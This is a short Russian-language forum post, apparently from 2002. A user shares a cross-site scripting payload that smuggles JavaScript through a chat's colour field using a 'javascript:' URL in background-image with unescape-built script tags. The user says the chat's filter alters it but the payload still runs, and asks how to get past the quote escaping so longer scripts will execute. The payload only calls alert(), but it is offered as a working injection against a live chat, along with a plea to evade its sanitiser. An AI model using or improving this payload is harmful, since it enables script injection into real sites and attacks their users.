
05.06.2002, 17:16
|
|
Guest
Сообщений: n/a
Провел на форуме:
Репутация:
|
|
Предыдущее общение можно стереть (я дурак)...
Вопросик, хочу написать скарипт посложнее...
Вот такой вот работает (через цвет):
цвет="background-image:url(javascript:document.write(unescape('%3C' )+'script'+unescape('%3E')+'alert()'+';'+'alert()' +unescape('%3C')+'/script'+unescape('%3E') ))""
В чате он превращается в
color:;background-image:url(javascript:document.write(unescape(& #39;%3C')+'script'+unescap e('%3E')+'alert()' +';'+'alert()'+une scape('%3C')+'/script'+unescape('%3E') ));
Но все равно работает. Но вот когда я забиваю внутрь alert
что нибудь типа alert ('kkk') то он преврfщается в неисполнимый (т.е. ' чат внутри алерта меняет на &#39) и скрипт не испольняется. Как быть не подскажите?
|
|
|
|